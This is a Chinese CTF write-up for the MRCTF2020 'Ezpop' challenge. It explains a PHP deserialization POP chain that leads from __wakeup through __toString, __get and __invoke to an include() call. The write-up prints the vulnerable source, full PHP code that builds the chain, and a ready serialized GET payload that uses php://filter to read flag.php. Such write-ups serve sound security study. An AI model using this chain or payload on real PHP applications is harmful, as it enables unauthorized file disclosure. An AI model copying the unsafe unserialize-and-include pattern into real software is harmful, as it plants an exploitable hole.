首页 星云 工具 资源 星选 资讯 热门工具
:

PDF转图片 完全免费 小红书视频下载 无水印 抖音视频下载 无水印 数字星空

[MRCTF2020]Ezpop(反序列化)

编程知识
2024年07月18日 10:50

打开题目即可得源码

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

涉及的魔术方法如下

__construct(类一执行就开始调用,其作用是拿来初始化一些值。)
__toString(在对象当做字符串的时候会被调用。)
__wakeup(该魔术方法在反序列化的时候自动调用,为反序列化生成的对象做一些初始化操作)
__invoke(当尝试以调用函数的方式调用一个对象时,方法会被自动调用)
__get(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

我们先找一下哪个地方能帮助我们拿到flag

class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

1.很明显这个Modifier中的include可以利用伪协议把flag.php包含出来

2.我们要调用Modifier中的include就要触发__invoke()

在class Test
可以利用_get()
$function = $this->p;使其中的
p=new Modifier();
这样就成功触发了
class Modifier中的
__invoke()

3.继续想办法触发_get()(当访问类中的私有属性或者是不存在的属性,触发__get魔术方法)

在class Show
我们可以让__toString()方法中的
str=new Test()
这样它就调用了Test中不存在的source,成功触发_get

4.接下来考虑如何触发__toString()(在对象当做字符串的时候会被调用。)

这里就很明显了我们可以利用 Show中的__wakeup()中的
preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)
我们把source=new show();
即是把对象当成了字符串来进行了正则匹配

把我们的思路反过来就是一个完整的pop链

class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}
$a=new Show();
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();
echo serialize($a);

image
因是私有属性而产生的特殊符号换为%00

?pop=O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"%00*%00var";s:52:"php://filter/convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
From:https://www.cnblogs.com/dghh/p/18309217
本文地址: http://shuzixingkong.net/article/145
0评论
提交 加载更多评论
其他文章 CSS:弹性布局(display:flex)
道友请了~ 最近小道在修练主修功法《嘉蛙》之余,偶然从一名散修手中得到了一本《CSS秘籍》,刚好近期有自己做微信小程序的打算,这不是瞌睡了给递枕头么。欣喜若狂,翻开第一章,拜读之后受益匪浅。韩老魔说过:好记性不如烂笔头。(韩老魔:我没说过!)遂誊抄一份,分享给各位道友。 @目录容器的属性justif
CSS:弹性布局(display:flex) CSS:弹性布局(display:flex) CSS:弹性布局(display:flex)
论如何直接用EF Core实现创建更新时间、用户审计,自动化乐观并发、软删除和树形查询(上)
前言 数据库并发,数据审计和软删除一直是数据持久化方面的经典问题。早些时候,这些工作需要手写复杂的SQL或者通过存储过程和触发器实现。手写复杂SQL对软件可维护性构成了相当大的挑战,随着SQL字数的变多,用到的嵌套和复杂语法增加,可读性和可维护性的难度是几何级暴涨。因此如何在实现功能的同时控制这些S
论如何直接用EF Core实现创建更新时间、用户审计,自动化乐观并发、软删除和树形查询(上) 论如何直接用EF Core实现创建更新时间、用户审计,自动化乐观并发、软删除和树形查询(上)
Swift开发基础08-高阶函数
高阶函数是指接受其它函数作为参数,或者返回其它函数的函数。Swift 提供了许多内置的高阶函数,这些函数在处理集合类型数据(如数组、集合等)时尤其有用。常见的高阶函数包括 map、filter、reduce、flatMap 和 compactMap。 一、常用高阶函数 1. map map 函数会对
SSH指定用户登录与限制
环境准备 :::info 实验目标:ServerA通过用户ServerB(已发送密钥和指定端口) ::: 主机 IP 身份 ServerA 192.168.10.201 SSH客户端 ServerB 192.168.10.202 SSH目标主机 在使用SSH登录远程主机时,指定的用户名是指远程主机上
SSH指定用户登录与限制 SSH指定用户登录与限制 SSH指定用户登录与限制
【2024最新】4000字搞懂sora!一张脑图贯穿!
话不多说,上图! 下面就是对sora的具体阐释: Sora是OpenAI推出的一款革命性的视频生成模型,能够根据文本指令、静态图像或视频生成长达60秒的完整视频。这一模型基于扩散式模型和自注意力深度学习机制,通过将视频片段转换为静态图像并去除噪音以达到清晰效果。 核心技术与功能 技术架构: Sora
【2024最新】4000字搞懂sora!一张脑图贯穿! 【2024最新】4000字搞懂sora!一张脑图贯穿!
可视化—gojs 超多超实用经验分享(四)
目录41.监听连线拖拽结束后的事件42.监听画布的修改事件43.监听节点被 del 删除后回调事件(用于实现调用接口做一些真实的删除操作)44.监听节点鼠标移入移出事件,hover 后显示特定元素45.监听树图实现鼠标点击节点本身展开或收起子节点的功能,而不是点击另外的按钮46.监听文本块编辑结束后
MViTv2:Facebook出品,进一步优化的多尺度ViT | CVPR 2022
论文将Multiscale Vision Transformers (MViTv2) 作为图像和视频分类以及对象检测的统一架构进行研究,结合分解的相对位置编码和残差池化连接提出了MViT的改进版本 来源:晓飞的算法工程笔记 公众号 论文: MViTv2: Improved Multiscale Vi
MViTv2:Facebook出品,进一步优化的多尺度ViT | CVPR 2022 MViTv2:Facebook出品,进一步优化的多尺度ViT | CVPR 2022 MViTv2:Facebook出品,进一步优化的多尺度ViT | CVPR 2022
只会建数据库怎么写API?database2api 能帮到你!
database2api 意为 DataBase to API,即只要有数据库,就可以生成开放 API。 database2api 是一款强大而便捷的工具,主要功能是依据现有的数据库自动生成开放的 API 接口,能够为开发者大幅节省时间与精力,尤其适用于那些已拥有数据库且需要提供 API 接口,或者
只会建数据库怎么写API?database2api 能帮到你! 只会建数据库怎么写API?database2api 能帮到你! 只会建数据库怎么写API?database2api 能帮到你!